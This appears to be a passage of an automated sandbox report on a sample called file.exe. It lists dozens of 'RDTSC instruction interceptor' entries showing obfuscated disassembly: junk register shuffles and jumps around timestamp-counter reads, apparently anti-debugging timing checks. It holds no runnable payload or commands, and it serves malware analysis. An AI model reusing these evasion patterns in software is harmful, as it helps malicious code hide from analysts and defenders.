Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0796 second address: 4FB07AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB07AB second address: 4FB07D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F52647CA11Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB07D0 second address: 4FB082C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F5264C7BAFEh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F5264C7BAFDh 0x0000001a jmp 00007F5264C7BAFBh 0x0000001f popfd 0x00000020 jmp 00007F5264C7BB08h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0F4C second address: 4FC0F52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0F52 second address: 4FC0F56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0F56 second address: 4FC0F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov di, 1FA8h 0x0000000f mov dh, 8Eh 0x00000011 popad 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0F6F second address: 4FC0F84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0204 second address: 4FD021C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F52647CA124h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD021C second address: 4FD0220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0220 second address: 4FD0257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F52647CA128h 0x00000012 sub cl, 00000038h 0x00000015 jmp 00007F52647CA11Bh 0x0000001a popfd 0x0000001b mov ah, 45h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF078B second address: 4FF0791 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0791 second address: 4FF0845 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F52647CA126h 0x00000011 push eax 0x00000012 pushad 0x00000013 movsx edi, cx 0x00000016 pushfd 0x00000017 jmp 00007F52647CA11Ah 0x0000001c sub al, FFFFFFC8h 0x0000001f jmp 00007F52647CA11Bh 0x00000024 popfd 0x00000025 popad 0x00000026 xchg eax, ebp 0x00000027 jmp 00007F52647CA126h 0x0000002c mov ebp, esp 0x0000002e jmp 00007F52647CA120h 0x00000033 xchg eax, ecx 0x00000034 pushad 0x00000035 call 00007F52647CA11Eh 0x0000003a call 00007F52647CA122h 0x0000003f pop ecx 0x00000040 pop edi 0x00000041 mov bx, si 0x00000044 popad 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F52647CA128h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0845 second address: 4FF084B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF084B second address: 4FF084F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF084F second address: 4FF0896 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007F5264C7BB09h 0x0000000e mov eax, dword ptr [76FA65FCh] 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007F5264C7BAFAh 0x0000001c add ecx, 7AE706A8h 0x00000022 jmp 00007F5264C7BAFBh 0x00000027 popfd 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0896 second address: 4FF08EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F52647CA11Fh 0x0000000a xor al, FFFFFFEEh 0x0000000d jmp 00007F52647CA129h 0x00000012 popfd 0x00000013 popad 0x00000014 test eax, eax 0x00000016 pushad 0x00000017 mov ebx, eax 0x00000019 movzx eax, bx 0x0000001c popad 0x0000001d je 00007F52D66FD1ABh 0x00000023 jmp 00007F52647CA11Bh 0x00000028 mov ecx, eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF08EA second address: 4FF08EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF08EE second address: 4FF08F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF08F2 second address: 4FF08F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF08F8 second address: 4FF095A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, ah 0x00000005 pushfd 0x00000006 jmp 00007F52647CA125h 0x0000000b adc ecx, 2E80C436h 0x00000011 jmp 00007F52647CA121h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xor eax, dword ptr [ebp+08h] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 call 00007F52647CA128h 0x00000025 pop esi 0x00000026 call 00007F52647CA11Bh 0x0000002b pop eax 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF095A second address: 4FF09B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c pushad 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F5264C7BAFCh 0x00000014 jmp 00007F5264C7BB05h 0x00000019 popfd 0x0000001a call 00007F5264C7BB00h 0x0000001f pop ecx 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF09B2 second address: 4FF09B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0045 second address: 4FA004B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA004B second address: 4FA004F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA004F second address: 4FA0053 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0053 second address: 4FA008E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F52647CA127h 0x0000000f and esp, FFFFFFF8h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F52647CA125h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA008E second address: 4FA0137 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F5264C7BAFEh 0x0000000f push eax 0x00000010 jmp 00007F5264C7BAFBh 0x00000015 xchg eax, ecx 0x00000016 jmp 00007F5264C7BB06h 0x0000001b xchg eax, ebx 0x0000001c pushad 0x0000001d mov ebx, ecx 0x0000001f pushfd 0x00000020 jmp 00007F5264C7BAFAh 0x00000025 jmp 00007F5264C7BB05h 0x0000002a popfd 0x0000002b popad 0x0000002c push eax 0x0000002d pushad 0x0000002e mov si, dx 0x00000031 push ebx 0x00000032 pushfd 0x00000033 jmp 00007F5264C7BB06h 0x00000038 jmp 00007F5264C7BB05h 0x0000003d popfd 0x0000003e pop esi 0x0000003f popad 0x00000040 xchg eax, ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0137 second address: 4FA014F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA124h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA025E second address: 4FA0262 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0262 second address: 4FA0290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov si, 2DF5h 0x0000000a popad 0x0000000b je 00007F52D67484BEh 0x00000011 jmp 00007F52647CA120h 0x00000016 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0290 second address: 4FA0294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0294 second address: 4FA0298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0298 second address: 4FA029E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA029E second address: 4FA03A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F52647CA122h 0x00000009 jmp 00007F52647CA125h 0x0000000e popfd 0x0000000f mov ebx, eax 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 je 00007F52D6748472h 0x0000001a pushad 0x0000001b call 00007F52647CA128h 0x00000020 mov eax, 7D7D2511h 0x00000025 pop ecx 0x00000026 mov bl, 34h 0x00000028 popad 0x00000029 mov edx, dword ptr [esi+44h] 0x0000002c jmp 00007F52647CA126h 0x00000031 or edx, dword ptr [ebp+0Ch] 0x00000034 jmp 00007F52647CA120h 0x00000039 test edx, 61000000h 0x0000003f jmp 00007F52647CA120h 0x00000044 jne 00007F52D6748465h 0x0000004a jmp 00007F52647CA120h 0x0000004f test byte ptr [esi+48h], 00000001h 0x00000053 pushad 0x00000054 pushfd 0x00000055 jmp 00007F52647CA11Eh 0x0000005a xor esi, 0A326058h 0x00000060 jmp 00007F52647CA11Bh 0x00000065 popfd 0x00000066 jmp 00007F52647CA128h 0x0000006b popad 0x0000006c jne 00007F52D6748429h 0x00000072 pushad 0x00000073 call 00007F52647CA11Eh 0x00000078 push eax 0x00000079 push edx 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA03A5 second address: 4FA03C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov ah, bl 0x00000007 popad 0x00000008 test bl, 00000007h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5264C7BB02h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA03C6 second address: 4FA03D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA03D5 second address: 4FA03ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5264C7BB04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90853 second address: 4F90888 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F52647CA11Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F52647CA11Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90888 second address: 4F9088E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9088E second address: 4F90892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90892 second address: 4F908AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BAFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e mov di, 1A7Eh 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F908AF second address: 4F90902 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c jmp 00007F52647CA11Eh 0x00000011 and esp, FFFFFFF8h 0x00000014 jmp 00007F52647CA120h 0x00000019 xchg eax, ebx 0x0000001a jmp 00007F52647CA120h 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov dh, cl 0x00000025 mov eax, edi 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90902 second address: 4F90942 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F5264C7BB00h 0x0000000f xchg eax, esi 0x00000010 jmp 00007F5264C7BB00h 0x00000015 push eax 0x00000016 pushad 0x00000017 pushad 0x00000018 mov cx, dx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90942 second address: 4F909FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 movsx edi, ax 0x00000008 popad 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b movzx ecx, dx 0x0000000e mov bx, E55Eh 0x00000012 popad 0x00000013 mov esi, dword ptr [ebp+08h] 0x00000016 pushad 0x00000017 mov eax, edi 0x00000019 movsx edx, cx 0x0000001c popad 0x0000001d sub ebx, ebx 0x0000001f jmp 00007F52647CA11Fh 0x00000024 test esi, esi 0x00000026 jmp 00007F52647CA126h 0x0000002b je 00007F52D674FB1Ch 0x00000031 jmp 00007F52647CA120h 0x00000036 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000003d pushad 0x0000003e call 00007F52647CA11Eh 0x00000043 call 00007F52647CA122h 0x00000048 pop esi 0x00000049 pop edi 0x0000004a mov dx, si 0x0000004d popad 0x0000004e mov ecx, esi 0x00000050 jmp 00007F52647CA11Ah 0x00000055 je 00007F52D674FAE1h 0x0000005b jmp 00007F52647CA120h 0x00000060 test byte ptr [76FA6968h], 00000002h 0x00000067 pushad 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F909FA second address: 4F90A47 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F5264C7BAFAh 0x00000008 and ah, FFFFFFA8h 0x0000000b jmp 00007F5264C7BAFBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 call 00007F5264C7BB08h 0x00000018 mov ch, 35h 0x0000001a pop ebx 0x0000001b popad 0x0000001c jne 00007F52D6C01478h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov di, ADAAh 0x00000029 mov ebx, 0DDEFA76h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90A47 second address: 4F90A4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90A4D second address: 4F90A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90A51 second address: 4F90A7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushfd 0x0000000f jmp 00007F52647CA11Eh 0x00000014 adc ax, 0F98h 0x00000019 jmp 00007F52647CA11Bh 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90A7F second address: 4F90AB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F5264C7BB06h 0x0000000c jmp 00007F5264C7BB05h 0x00000011 popfd 0x00000012 popad 0x00000013 xchg eax, ebx 0x00000014 pushad 0x00000015 push esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90AB8 second address: 4F90B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F52647CA11Bh 0x0000000c xchg eax, ebx 0x0000000d pushad 0x0000000e call 00007F52647CA124h 0x00000013 mov cx, D491h 0x00000017 pop esi 0x00000018 mov di, 0582h 0x0000001c popad 0x0000001d push esi 0x0000001e jmp 00007F52647CA126h 0x00000023 mov dword ptr [esp], ebx 0x00000026 jmp 00007F52647CA120h 0x0000002b push dword ptr [ebp+14h] 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F52647CA127h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90B30 second address: 4F90B56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90B56 second address: 4F90B69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA11Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90B69 second address: 4F90B6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90B98 second address: 4F90BBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 23A463BAh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F52647CA123h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90BBB second address: 4F90BBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90BBF second address: 4F90BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0D79 second address: 4FA0D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0D7D second address: 4FA0D94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA123h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0D94 second address: 4FA0DC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5264C7BAFFh 0x00000009 or eax, 51C2268Eh 0x0000000f jmp 00007F5264C7BB09h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0A5D second address: 4FA0A84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA122h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F52647CA11Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0A84 second address: 4FA0AA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 mov ebx, 4B92CE10h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5264C7BB01h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0AA7 second address: 4FA0AAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0AAD second address: 4FA0AC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5264C7BB03h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0AC4 second address: 4FA0AC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0AC8 second address: 4FA0B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F5264C7BAFBh 0x00000011 add esi, 3696A5CEh 0x00000017 jmp 00007F5264C7BB09h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F5264C7BB00h 0x00000023 and eax, 3B62F648h 0x00000029 jmp 00007F5264C7BAFBh 0x0000002e popfd 0x0000002f popad 0x00000030 pop ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 mov si, di 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0B2C second address: 4FA0B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020716 second address: 5020742 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5264C7BB01h 0x00000009 xor ah, 00000046h 0x0000000c jmp 00007F5264C7BB01h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020742 second address: 5020778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushfd 0x0000000c jmp 00007F52647CA128h 0x00000011 adc esi, 2ECEFE18h 0x00000017 jmp 00007F52647CA11Bh 0x0000001c popfd 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020778 second address: 5020790 instructions: 0x00000000 rdtsc 0x00000002 mov cx, 61CFh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ax, 4BEBh 0x0000000c popad 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 movsx ebx, cx 0x00000015 mov al, 05h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010921 second address: 5010927 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010927 second address: 50109B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, A7h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebp 0x0000000b jmp 00007F5264C7BB02h 0x00000010 mov dword ptr [esp], ebp 0x00000013 jmp 00007F5264C7BB00h 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b mov ecx, 06C40B1Dh 0x00000020 pushad 0x00000021 mov di, cx 0x00000024 pushfd 0x00000025 jmp 00007F5264C7BB04h 0x0000002a adc esi, 0F0DA1A8h 0x00000030 jmp 00007F5264C7BAFBh 0x00000035 popfd 0x00000036 popad 0x00000037 popad 0x00000038 pop ebp 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007F5264C7BB04h 0x00000040 or esi, 4EDB1408h 0x00000046 jmp 00007F5264C7BAFBh 0x0000004b popfd 0x0000004c pushad 0x0000004d 